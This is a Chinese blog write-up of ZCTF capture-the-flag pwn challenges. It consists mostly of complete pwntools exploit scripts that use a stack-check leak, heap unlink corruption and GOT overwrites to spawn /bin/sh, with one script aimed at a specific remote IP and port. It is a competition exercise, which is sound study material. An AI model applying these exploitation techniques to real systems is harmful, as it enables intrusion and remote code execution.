ZCTF-Pwn
版权声明:本文为博主原创文章,未经博主允许不得转载。
最近有了点时间,把ZCTF的pwn总结了下,就差最后一个pwn500,另找时间总结。
文件打包:http://files.cnblogs.com/files/wangaohui/attach.zip
Pwn100
很明显栈溢出,但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,如下:

所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:
from pwn import *
#context.log_level = 'debug'
s = remote('115.28.206.86',22222)
s.recvuntil('please guess the flag:')
payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)
s.sendline(payload)
s.recvuntil('***: ')
flagt = s.recvuntil('\n')[:27]
flag = 'ZCTF{'
for i in flagt:
flag += chr(ord(i)^ord('A'))
print flag
s.close()

Pwn200-note1

from pwn import *
#context.log_level = 'debug'
io = remote('127.0.0.1',10001)
def new(title, typ, content):
io.recvuntil('Enter the title:')
io.sendline(title)
io.recvuntil('Enter the type:')
io.sendline(typ)
io.recvuntil('Enter the content:')
io.sendline(content)
def show():
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('title=')
leak = io.recvuntil(',')
printfaddr = u64(leak)
print hex(printfaddr)
def edit(title, newc):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Enter the new content:')
io.sendline(newc)
io.recvuntil('Modify success')
def delete(title):
io.recvuntil('Input the note title:')
io.sendline(title)
io.recvuntil('Delete success')
def pwn():
libcstartoff = 0x21A50
systemoff = 0x414F0
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1')
io.recvuntil('option--->>')
io.sendline('')
new('','aaa','a1a1') payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)
io.recvuntil('option--->>')
io.sendline('')
edit('', payload) io.recvuntil('option--->>')
io.sendline('')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
io.recvuntil('\n')
io.recvuntil('content=')
libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')
numlibcstart = u64(libcstart)
print 'leaked libc_start_main addr is %x' % numlibcstart
numsys = numlibcstart - libcstartoff + systemoff io.recvuntil('option--->>')
io.sendline('')
edit('', 'a'*40+p64(numsys)) io.recvuntil('option--->>')
io.sendline('/bin/sh;')
io.interactive()
pwn()
Pwn400-note2

from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 128)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,c,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('[1.overwrite/2.append]')
s.sendline(str(c))
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.sendline(str(idf))
s.recvuntil('delete note success!')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Content is ')
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])
raw_input('go!')
s.recvuntil('Input your name:')
s.sendline('wah')
s.recvuntil('Input your address:')
s.sendline('ucas')
s.recvuntil('option--->>') globalptr = 0x602120
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602088)
edit(s,0,1,content)
s.recvuntil('option--->>') atoiaddr = infoleak(s,0)
s.recvuntil('option--->>')
print 'atoi address is ' + hex(atoiaddr)
systemaddr = atoiaddr - 0x36360 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,0,1,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()
Pwn300-note3

from pwn import *
import time
#context.log_level = 'debug'
def new(s,length,content):
s.sendline('')
s.recvuntil('(less than 1024)')
s.sendline(str(length))
s.recvuntil('Input the note content:')
s.sendline(content)
def edit(s,idf,content):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Input the new content:')
s.sendline(content)
def dele(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:')
s.sendline(str(idf))
s.recvuntil('Delete success')
def infoleak(s,idf):
s.sendline('')
s.recvuntil('Input the id of the note:\n')
s.sendline(str(idf))
time.sleep(1)
return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))
s= remote('127.0.0.1',10001)
time.sleep(2)
print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])
raw_input('go!')
s.recvuntil('option--->>') globalptr = 0x6020C8
fakefd = globalptr - 0x18
fakebk = globalptr - 0x10
content = 'a'*8
content += p64(0x91)
content += p64(fakefd)
content += p64(fakebk)
new(s,0x80,content)
s.recvuntil('option--->>')
new(s,0x0,'a'*8)
s.recvuntil('option--->>')
new(s,0x80,'b'*8)
s.recvuntil('option--->>')
dele(s,1)
s.recvuntil('option--->>') content = 'b'*0x10
content += p64(0xa0)
content += p64(0x90)
new(s,0x0,content)
s.recvuntil('option--->>')
dele(s,2)
s.recvuntil('option--->>')
content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)
edit(s,0,content)
s.recvuntil('option--->>')
content = p64(0x400736)[:-1]
edit(s,0,content)
s.recvuntil('option--->>') putsaddr = infoleak(s,1)
s.recvuntil('option--->>')
print 'puts address is ' + hex(putsaddr)
systemaddr = putsaddr - 0x6B9F0 + 0x414F0
print 'system address is ' + hex(systemaddr)
content = p64(systemaddr)
edit(s,2,content)
s.recvuntil('option--->>')
s.sendline('/bin/sh')
s.interactive()
s.close()
加深了对堆溢出的理解,linux下free时的unlink操作由于有check,并不能达到任意地址写,为了绕过check,能将变量ptr改为&ptr-0x18(64位系统下),&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法,就是如果能达到任意地址写的话,可以将某个.got.plt项(记为函数A)修改为puts在.plt的位置,这样在调用A时,就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。
ZCTF-Pwn的更多相关文章
- iscc2016 pwn部分writeup
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAAB ...
- ZCTF2015 pwn试题分析
ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...
- 2016 ZCTF note3:一种新解法
2016 ZCTF note3:一种新解法 最近在学习unlink做到了这道题,网上有两种做法:一种是利用edit功能读入id时整数溢出使索引为-1,一种是设置块大小为0使得写入时利用整数溢出漏洞可以 ...
- Pwn~
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 ...
- i春秋30强挑战赛pwn解题过程
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1' ...
- SSCTF Final PWN
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制 ...
- pwn学习(1)
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可 ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
- pwn学习之三
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开 ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
随机推荐
- JFreeChart多坐标轴曲线图
jar包:jcommon-1.0.23.jarjfreechart-1.0.19.jar maven配置: <dependency> <groupId>jfree</gr ...
- MVC4中 jquery validate 不用submit方式验证表单或单个元素
正确引入MVC4 jquery验证的相关文件 <script src="/Scripts/jquery-1.4.4.js"></script> <sc ...
- 【贪心+中位数】【新生赛3 1007题】 Problem G (K)
Problem G Time Limit : 4000/2000ms (Java/Other) Memory Limit : 32768/32768K (Java/Other) Total Sub ...
- C# winform平台下使用spread控件导出excel表格
//首先要引入两个控件:1.根据自己的office 版本在项目->添加引用->microsoft office object 12.0 library (2010版) //2.在.net中 ...
- Letter of inquiry about employment possibilities, e-mail version
Subject: (logical to recipient!) Inquiry about software engineering position after completion of M.S ...
- PHP学习笔记九【数组二】
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/h ...
- 11g导入大量包含子分区的数据时表空间不足
问题描述: ORACLE11g使用impdp数据泵导入时遭遇: ORA-01691: Lob 段 ISCS.SYS_LOB0000100750C00045$$ 无法通过 128 (在表空间 RT_DA ...
- relativelayout常用属性
===================================================================================== 整理于http://naot ...
- oracle存储参数(storage子句)含义及设置技巧
可用于:表空间.回滚段.表.索引.分区.快照.快照日志 参数名称 缺省值 最小值 最大值 说明 INITIAL 5(数据块) 2(数据块) 操作系统限定 分配给Segment的第一个Extent的大小 ...
- JVM内存模型及垃圾收集策略解析
一 JVM内存模型 1.1 Java栈 Java栈是与每一个线程关联的,JVM在创建每一个线程的时候,会分配一定的栈空间给线程.它主要用来存储线程执行过程中的局部变量,方法的返回值,以及方法调用上下文 ...